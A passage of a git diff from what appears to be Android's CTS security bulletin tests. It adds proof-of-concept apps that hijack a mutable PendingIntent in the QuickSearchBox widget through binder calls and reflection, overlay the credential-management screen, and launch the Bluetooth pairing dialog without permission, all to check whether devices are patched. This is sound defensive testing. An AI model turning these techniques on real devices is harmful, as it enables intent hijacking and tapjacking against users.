file mode 100644 index 00000000000..3684cbe97cc --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java @@ -0,0 +1,253 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0953; + +import android.app.Activity; +import android.app.PendingIntent; +import android.appwidget.AppWidgetHost; +import android.appwidget.AppWidgetManager; +import android.content.ComponentName; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.os.Bundle; +import android.os.IBinder; +import android.os.Parcel; +import android.os.RemoteCallback; +import android.os.RemoteException; +import android.widget.RemoteViews; + +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.Until; +import androidx.test.InstrumentationRegistry; + +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; + +public class PocActivity extends Activity { + public static int APPWIDGET_ID; + public static int REQUEST_BIND_APPWIDGET = 0; + public static final int TIMEOUT_MS = 10000; + + Class mClRemoteViews; + Field mActions, mResponse, mFldPendingIntent; + Method mGetDeclaredField; + Object mObjSetOnClickResponse; + PendingIntent mPendingIntent; + + @Override + public void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation()); + AppWidgetHost appWidgetHost; + AppWidgetManager appWidgetManager; + PocActivity pocActivity = PocActivity.this; + appWidgetManager = AppWidgetManager.getInstance(this); + appWidgetHost = new AppWidgetHost(PocActivity.this.getApplicationContext(), 0); + APPWIDGET_ID = appWidgetHost.allocateAppWidgetId(); + Intent intent = new Intent("android.appwidget.action.APPWIDGET_BIND"); + intent.putExtra("appWidgetId", APPWIDGET_ID); + intent.putExtra("appWidgetProvider", new ComponentName("com.android.quicksearchbox", + "com.android.quicksearchbox.SearchWidgetProvider")); + PocActivity.this.startActivityForResult(intent, REQUEST_BIND_APPWIDGET); + String settingsPkgName = ""; + PackageManager pm = getPackageManager(); + List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY); + for (ResolveInfo ri : ris) { + if (ri.activityInfo.name.contains("AllowBindAppWidgetActivity")) { + settingsPkgName = ri.activityInfo.packageName; + } + } + if (settingsPkgName.equals("")) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Settings package not found/AllowBindAppWidgetActivity not found"); + return; + } + if (!device.wait(Until.hasObject(By.pkg(settingsPkgName)), TIMEOUT_MS)) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Unable to start AllowBindAppWidgetActivity"); + return; + } + boolean buttonClicked = false; + BySelector selector = By.clickable(true); + List<UiObject2> objects = device.findObjects(selector); + for (UiObject2 object : objects) { + String objectText = object.getText(); + String objectClass = object.getClassName(); + if (objectText == null) { + continue; + } + if (objectText.equalsIgnoreCase("CREATE")) { + object.click(); + buttonClicked = true; + break; + } + } + if (!device.wait(Until.gone(By.pkg(settingsPkgName)), TIMEOUT_MS) || !buttonClicked) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "'Create' button not found/clicked"); + return; + } + } + + @Override + public void onActivityResult(int requestCode, int resultCode, Intent data) { + super.onActivityResult(requestCode, resultCode, data); + PocActivity pocActivity = PocActivity.this; + if (requestCode == REQUEST_BIND_APPWIDGET) { + if (resultCode == -1) { + APPWIDGET_ID = data.getIntExtra("appWidgetId", APPWIDGET_ID); + } + } + RemoteViews remoteViews = + pocActivity.callBinder(pocActivity.getPackageName(), APPWIDGET_ID); + if (remoteViews == null) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "remoteViews is null as callBinder() failed"); + return; + } + try { + mClRemoteViews = Class.forName("android.widget.RemoteViews"); + } catch (ClassNotFoundException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Class android.widget.RemoteViews not found"); + return; + } + Class[] rvSubClasses = mClRemoteViews.getDeclaredClasses(); + Class clSetOnClickResponse = null; + Class clRemoteResponse = null; + for (Class c : rvSubClasses) { + if (c.getCanonicalName().equals("android.widget.RemoteViews.SetOnClickResponse")) { + clSetOnClickResponse = c; + } + if (c.getCanonicalName().equals("android.widget.RemoteViews.RemoteResponse")) { + clRemoteResponse = c; + } + } + try { + mActions = mClRemoteViews.getDeclaredField("mActions"); + } catch (NoSuchFieldException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "mActions field not found"); + return; + } + mActions.setAccessible(true); + try { + mObjSetOnClickResponse = ((ArrayList) mActions.get(remoteViews)).get(1); + mGetDeclaredField = Class.class.getDeclaredMethod("getDeclaredField", String.class); + mResponse = (Field) mGetDeclaredField.invoke(clSetOnClickResponse, "mResponse"); + } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "mResponse field not found"); + return; + } + mResponse.setAccessible(true); + try { + mFldPendingIntent = + (Field) mGetDeclaredField.invoke(clRemoteResponse, "mPendingIntent"); + } catch (IllegalAccessException | InvocationTargetException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "mPendingIntent field not found"); + return; + } + mFldPendingIntent.setAccessible(true); + try { + mPendingIntent = (PendingIntent) mFldPendingIntent + .get((RemoteViews.RemoteResponse) mResponse.get(mObjSetOnClickResponse)); + } catch (IllegalAccessException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Unable to get PendingIntent"); + return; + } + Intent spuriousIntent = new Intent(PocActivity.this, PocVulnerableActivity.class); + spuriousIntent.setPackage(getApplicationContext().getPackageName()); + spuriousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + try { + mPendingIntent.send(getApplicationContext(), 0, spuriousIntent, null, null); + } catch (PendingIntent.CanceledException e) { + // this is expected when vulnerability is not present and hence return + sendTestResult(getResources().getInteger(R.integer.pass), "Pass"); + return; + } + sendTestResult(getResources().getInteger(R.integer.fail), + "Device is vulnerable to b/184046278!!" + + " Mutable PendingIntent in QuickSearchBox widget"); + } + + private IBinder getService(String service) { + try { + Class clServiceManager = Class.forName("android.os.ServiceManager"); + Method mtGetService = clServiceManager.getMethod("getService", String.class); + return (IBinder) mtGetService.invoke(null, service); + } catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException + | InvocationTargetException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Failed to invoke android.os.ServiceManager service"); + return null; + } + } + + private RemoteViews callBinder(String callingPackage, int appWidgetId) { + String INTERFACE_DESCRIPTOR = "com.android.internal.appwidget.IAppWidgetService"; + int GET_APP_WIDGET_VIEWS = 7; + Parcel data = Parcel.obtain(); + Parcel reply = Parcel.obtain(); + RemoteViews remoteViews = null; + IBinder service = getService("appwidget"); + if (service != null) { + data.writeInterfaceToken(INTERFACE_DESCRIPTOR); + data.writeString(callingPackage); + data.writeInt(appWidgetId); + try { + service.transact(GET_APP_WIDGET_VIEWS, data, reply, 0); + } catch (RemoteException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "service.transact() failed due to RemoteException"); + return null; + } + reply.readException(); + if (reply.readInt() != 0) { + remoteViews = (RemoteViews) RemoteViews.CREATOR.createFromParcel(reply); + } + } + return remoteViews; + } + + private void sendTestResult(int statusCode, String errorMessage) { + RemoteCallback cb = + (RemoteCallback) getIntent().getExtras().get(getString(R.string.callback_key)); + Bundle res = new Bundle(); + res.putString(getString(R.string.message_key), errorMessage); + res.putInt(getString(R.string.status_key), statusCode); + finish(); + cb.sendResult(res); // update callback in test + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java new file mode 100644 index 00000000000..b99ba9dc3e9 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java @@ -0,0 +1,27 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0953; + +import android.app.Activity; +import android.os.Bundle; + +public class PocVulnerableActivity extends Activity { + public void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.vulnerable_activity_main); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp index ab1f6278b4f..6f672e031e0 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp @@ -33,5 +33,5 @@ android_test_helper_app { "androidx.test.rules", "androidx.test.uiautomator_uiautomator", ], - sdk_version: "current", + platform_apis: true, } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java index e709d0a8044..46f16135532 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java @@ -18,9 +18,20 @@ package android.security.cts.CVE_2021_0965; import static androidx.test.core.app.ApplicationProvider.getApplicationContext; import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.fail; +import static org.junit.Assume.assumeNoException; + +import android.app.UiAutomation; import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.os.UserHandle; +import android.provider.Settings; + +import androidx.test.InstrumentationRegistry; import androidx.test.runner.AndroidJUnit4; import androidx.test.uiautomator.UiDevice; + import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; @@ -34,23 +45,64 @@ public class DeviceTest { try { device.wakeUp(); } catch (Exception e) { + e.printStackTrace(); + assumeNoException(e); } device.pressHome(); } + private String getSettingsPkgName() { + PackageManager mgr = getInstrumentation().getTargetContext().getPackageManager(); + UiAutomation ui = getInstrumentation().getUiAutomation(); + String name = "com.android.settings"; + try { + ui.adoptShellPermissionIdentity(android.Manifest.permission.INTERACT_ACROSS_USERS); + ResolveInfo info = mgr.resolveActivityAsUser(new Intent(Settings.ACTION_SETTINGS), + PackageManager.MATCH_SYSTEM_ONLY, UserHandle.USER_SYSTEM); + if (info != null && info.activityInfo != null) { + name = info.activityInfo.packageName; + } + } catch (Exception e) { + e.printStackTrace(); + assumeNoException(e); + } finally { + ui.dropShellPermissionIdentity(); + } + return name; + } + + private boolean hasFeature(String feature) { + return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature); + } + + private boolean isTV() { + return hasFeature(PackageManager.FEATURE_LEANBACK); + } + @Test public void testPermission() { + String pkg = getSettingsPkgName(); + String cls = ""; + if (isTV()) { + cls = ".accessories.BluetoothPairingDialog"; + } else { + cls = ".bluetooth.BluetoothPairingDialog"; + } + try { Intent intent = new Intent(Intent.ACTION_MAIN); - intent.setClassName("com.android.settings", - "com.android.settings.bluetooth.BluetoothPairingDialog"); + intent.setClassName(pkg, pkg + cls); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); getApplicationContext().startActivity(intent); - } catch (SecurityException e) { - return; + } catch (Exception ex) { + ex.printStackTrace(); + if (ex instanceof SecurityException) { + return; + } + assumeNoException(ex); } /* If SecurityException is not thrown, it indicates absence of fix */ - throw new RuntimeException("Vulnerable to b/194300867 !!"); + fail("Vulnerable to b/194300867 !!"); } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp new file mode 100644 index 00000000000..8c5b2519aa9 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp @@ -0,0 +1,31 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +android_test_helper_app { + name: "CVE-2021-39702", + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml new file mode 100644 index 00000000000..60105d647cc --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml @@ -0,0 +1,37 @@ +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + package="android.security.cts.CVE_2021_39702" + android:versionCode="1" + android:versionName="1.0"> + + <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> + + <application + android:allowBackup="true" + android:label="CVE_2021_39702" + android:supportsRtl="true"> + <uses-library android:name="android.test.runner" /> + <service android:name=".PocService" + android:enabled="true" + android:exported="false" /> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_39702" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml new file mode 100644 index 00000000000..ede3c087bf2 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml @@ -0,0 +1,34 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <string name="action">android.security.MANAGE_CREDENTIALS</string> + <string name="activityNotFoundMsg">The activity with intent was not found : </string> + <string name="activityNotStartedException">Unable to start the activity with intent : </string> + <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string> + <string name="dumpsysActivity">dumpsys activity</string> + <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity command</string> + <string name="errorMessage">Device is vulnerable to b/205150380 hence any app with "SYSTEM_ALERT_WINDOW can overlay the RequestManageCredentials screen</string> + <string name="extraAuthenticationPolicy">android.security.extra.AUTHENTICATION_POLICY</string> + <string name="mResumedTrue">mResumed=true</string> + <string name="overlayAttack">overlayattack</string> + <string name="overlayButtonText">OverlayButton</string> + <string name="overlayServiceNotStartedException">Unable to start the overlay service</string> + <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string> + <string name="testPkg">android.security.cts.CVE_2021_39702</string> + <string name="vulActivityNotRunningError">The RequestManageCredentials is not currently running on the device</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java new file mode 100644 index 00000000000..69e0f86a7aa --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java @@ -0,0 +1,124 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39702; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.net.Uri; +import android.provider.Settings; +import android.security.AppUriAuthenticationPolicy; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.io.IOException; +import java.util.regex.Pattern; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + private static final int LAUNCH_TIMEOUT_MS = 20000; + private static String VulnerableActivityName = ""; + + private void startOverlayService() { + Context context = getApplicationContext(); + assertNotNull(context); + Intent intent = new Intent(context, PocService.class); + assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg), + Settings.canDrawOverlays(context)); + try { + context.startService(intent); + } catch (Exception e) { + assumeNoException(context.getString(R.string.overlayServiceNotStartedException), e); + } + } + + public void startVulnerableActivity() { + Context context = getApplicationContext(); + Intent intent = new Intent(context.getString(R.string.action)); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + AppUriAuthenticationPolicy policy = new AppUriAuthenticationPolicy.Builder() + .addAppAndUriMapping(context.getString(R.string.testPkg), Uri.parse(""), + context.getString(R.string.overlayAttack)) + .build(); + intent.putExtra(context.getString(R.string.extraAuthenticationPolicy), policy); + PackageManager pm = context.getPackageManager(); + ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY); + VulnerableActivityName = ri.activityInfo.name; + assumeTrue(context.getString(R.string.activityNotFoundMsg) + intent, ri != null); + try { + context.startActivity(intent); + } catch (Exception e) { + assumeNoException(context.getString(R.string.activityNotStartedException) + intent, e); + } + } + + @Test + public void testOverlayButtonPresence() { + Context context = getApplicationContext(); + UiDevice mDevice = UiDevice.getInstance(getInstrumentation()); + + /* Start the overlay service */ + startOverlayService(); + + /* Wait for the overlay window */ + Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText), + Pattern.CASE_INSENSITIVE); + assumeTrue(context.getString(R.string.overlayUiScreenError), + mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)); + + /* Start the vulnerable activity */ + startVulnerableActivity(); + + /* Wait until the object of launcher activity is gone */ + boolean overlayDisallowed = false; + if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))), + LAUNCH_TIMEOUT_MS)) { + overlayDisallowed = true; + } + + /* Check if the currently running activity is the vulnerable activity */ + String activityDump = ""; + try { + activityDump = mDevice.executeShellCommand( + context.getString(R.string.dumpsysActivity) + " " + VulnerableActivityName); + } catch (IOException e) { + assumeNoException(context.getString(R.string.dumpsysActivityNotStartedException), e); + } + Pattern activityPattern = + Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE); + assumeTrue(context.getString(R.string.vulActivityNotRunningError), + activityPattern.matcher(activityDump).find()); + + /* Failing the test as fix is not present */ + assertTrue(context.getString(R.string.errorMessage), overlayDisallowed); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java new file mode 100644 index 00000000000..e20029af7e0 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java @@ -0,0 +1,90 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39702; + +import static org.junit.Assume.assumeTrue; + +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.content.res.Resources; +import android.graphics.PixelFormat; +import android.os.IBinder; +import android.provider.Settings; +import android.view.Gravity; +import android.view.WindowManager; +import android.view.WindowManager.LayoutParams; +import android.widget.Button; + +public class PocService extends Service { + public static Button mButton; + private WindowManager mWindowManager; + private WindowManager.LayoutParams mLayoutParams; + + private static int getScreenWidth() { + return Resources.getSystem().getDisplayMetrics().widthPixels; + } + + private static int getScreenHeight() { + return Resources.getSystem().getDisplayMetrics().heightPixels; + } + + @Override + public void onCreate() { + super.onCreate(); + mWindowManager = getSystemService(WindowManager.class); + mLayoutParams = new WindowManager.LayoutParams(); + mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY; + mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL + | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE; + mLayoutParams.format = PixelFormat.OPAQUE; + mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP; + mLayoutParams.width = getScreenWidth(); + mLayoutParams.height = getScreenHeight(); + mLayoutParams.x = getScreenWidth() / 2; + mLayoutParams.y = getScreenHeight() / 2; + } + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + showFloatingWindow(); + return super.onStartCommand(intent, flags, startId); + } + + @Override + public void onDestroy() { + if (mWindowManager != null && mButton != null) { + mWindowManager.removeView(mButton); + } + super.onDestroy(); + } + + private void showFloatingWindow() { + Context context = getApplicationContext(); + assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg), + Settings.canDrawOverlays(context)); + mButton = new Button(context); + mButton.setText(context.getString(R.string.overlayButtonText)); + mWindowManager.addView(mButton, mLayoutParams); + mButton.setTag(mButton.getVisibility()); + } +} diff --git a/tests/MediaProviderTranscode/Android.bp b/tests/MediaProviderTranscode/Android.bp index 4ba3243e177..0a6dfd66ac8 100644 --- a/tests/MediaProviderTranscode/Android.bp +++ b/tests/MediaProviderTranscode/Android.bp @@ -7,6 +7,7 @@ android_test { test_suites: [ "device-tests", "cts", + "mts-mediaprovider", ], compile_multilib: "both", @@ -30,6 +31,7 @@ android_test { "truth-prebuilt", ], + min_sdk_version: "30", certificate: "media", java_resources: [":CtsTranscodeTestAppSupportsHevc", ":CtsTranscodeTestAppSupportsSlowMotion"] } @@ -45,6 +47,7 @@ android_test_helper_app { ], static_libs: ["androidx.legacy_legacy-support-v4"], target_sdk_version: "28", + min_sdk_version: "30", } android_test_helper_app { @@ -58,4 +61,5 @@ android_test_helper_app { ], static_libs: ["androidx.legacy_legacy-support-v4"], target_sdk_version: "28", + min_sdk_version: "30", } diff --git a/tests/PhotoPicker/Android.bp b/tests/PhotoPicker/Android.bp index 37b049b36c2..5a9fc331708 100644 --- a/tests/PhotoPicker/Android.bp +++ b/tests/PhotoPicker/Android.bp @@ -22,7 +22,7 @@ android_test { test_config: "AndroidTest.xml", srcs: ["src/**/*.java", "helper/**/*.java", ":CtsProviderTestUtils",], compile_multilib: "both", - test_suites: ["device-tests", "mts-mediaprovider", "cts"], + test_suites: ["general-tests", "mts-mediaprovider", "cts"], sdk_version: "core_current", min_sdk_version: "30", libs: [ diff --git a/tests/PhotoPicker/AndroidTest.xml b/tests/PhotoPicker/AndroidTest.xml index dbd1bc41e5c..d0bf7973c0b 100644 --- a/tests/PhotoPicker/AndroidTest.xml +++ b/tests/PhotoPicker/AndroidTest.xml @@ -20,9 +20,14 @@ <option name="test-file-name" value="CtsPhotoPickerTest.apk" /> </target_preparer> <target_preparer class="com.android.tradefed.targetprep.RootTargetPreparer"> - <option name="force-root" value="false" /> + <option name="force-root" value="true" /> </target_preparer> + <option + name="config-descriptor:metadata" + key="mainline-param" + value="com.google.android.mediaprovider.apex" /> + <option name="test-suite-tag" value="cts" /> <option name="test-tag" value="PhotoPickerTests" /> <!-- Instant apps cannot access external storage --> diff --git a/tests/PhotoPicker/res/raw/test_video.mp4 b/tests/PhotoPicker/res/raw/test_video.mp4 Binary files differnew file mode 100644 index 00000000000..ab95ac07dd3 --- /dev/null +++ b/tests/PhotoPicker/res/raw/test_video.mp4 diff --git a/tests/PhotoPicker/res/raw/testvideo_meta.mp4 b/tests/PhotoPicker/res/raw/test_video_dng.mp4 Binary files differindex 9b38f0e8e7d..9b38f0e8e7d 100644 --- a/tests/PhotoPicker/res/raw/testvideo_meta.mp4 +++ b/tests/PhotoPicker/res/raw/test_video_dng.mp4 diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java index 49a1acbd772..5873feed179 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java @@ -25,6 +25,8 @@ import android.provider.DeviceConfig; import androidx.test.InstrumentationRegistry; import androidx.test.uiautomator.UiDevice; +import com.android.modules.utils.build.SdkLevel; + import org.junit.Before; /** @@ -41,6 +43,7 @@ public class PhotoPickerBaseTest { @Before public void setUp() throws Exception { final Instrumentation inst = InstrumentationRegistry.getInstrumentation(); + mDevice = UiDevice.getInstance(inst); enablePhotoPickerFlag(inst); @@ -49,7 +52,6 @@ public class PhotoPickerBaseTest { intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // Wake up the device and dismiss the keyguard before the test starts - mDevice = UiDevice.getInstance(inst); mDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP"); mDevice.executeShellCommand("wm dismiss-keyguard"); @@ -60,13 +62,17 @@ public class PhotoPickerBaseTest { mDevice.waitForIdle(); } - private void enablePhotoPickerFlag(Instrumentation inst) { - inst.getUiAutomation().adoptShellPermissionIdentity( - Manifest.permission.WRITE_DEVICE_CONFIG); - DeviceConfig.setProperty( - DeviceConfig.NAMESPACE_STORAGE_NATIVE_BOOT, - "picker_intent_enabled" /* name */, - "true" /* value */, - false /* makeDefault */); + private void enablePhotoPickerFlag(Instrumentation inst) throws Exception { + if (SdkLevel.isAtLeastS()) { + inst.getUiAutomation().adoptShellPermissionIdentity( + Manifest.permission.WRITE_DEVICE_CONFIG); + DeviceConfig.setProperty( + DeviceConfig.NAMESPACE_STORAGE_NATIVE_BOOT, + "picker_intent_enabled" /* name */, + "true" /* value */, + false /* makeDefault */); + } else { + mDevice.executeShellCommand("setprop persist.sys.storage_picker_enabled true"); + } } } diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java index 10587786202..c05d22e2d46 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java @@ -31,7 +31,6 @@ import android.content.Intent; import android.net.Uri; import android.provider.MediaStore; -import androidx.test.filters.SdkSuppress; import androidx.test.uiautomator.UiObject; import com.android.bedstead.harrier.BedsteadJUnit4; @@ -53,7 +52,6 @@ import java.util.List; * Photo Picker Device only tests for cross profile interaction flows. */ @RunWith(BedsteadJUnit4.class) -@SdkSuppress(minSdkVersion = 31, codeName = "S") public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest { @ClassRule @Rule public static final DeviceState sDeviceState = new DeviceState(); @@ -70,7 +68,6 @@ public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest { @Test @RequireRunOnWorkProfile - 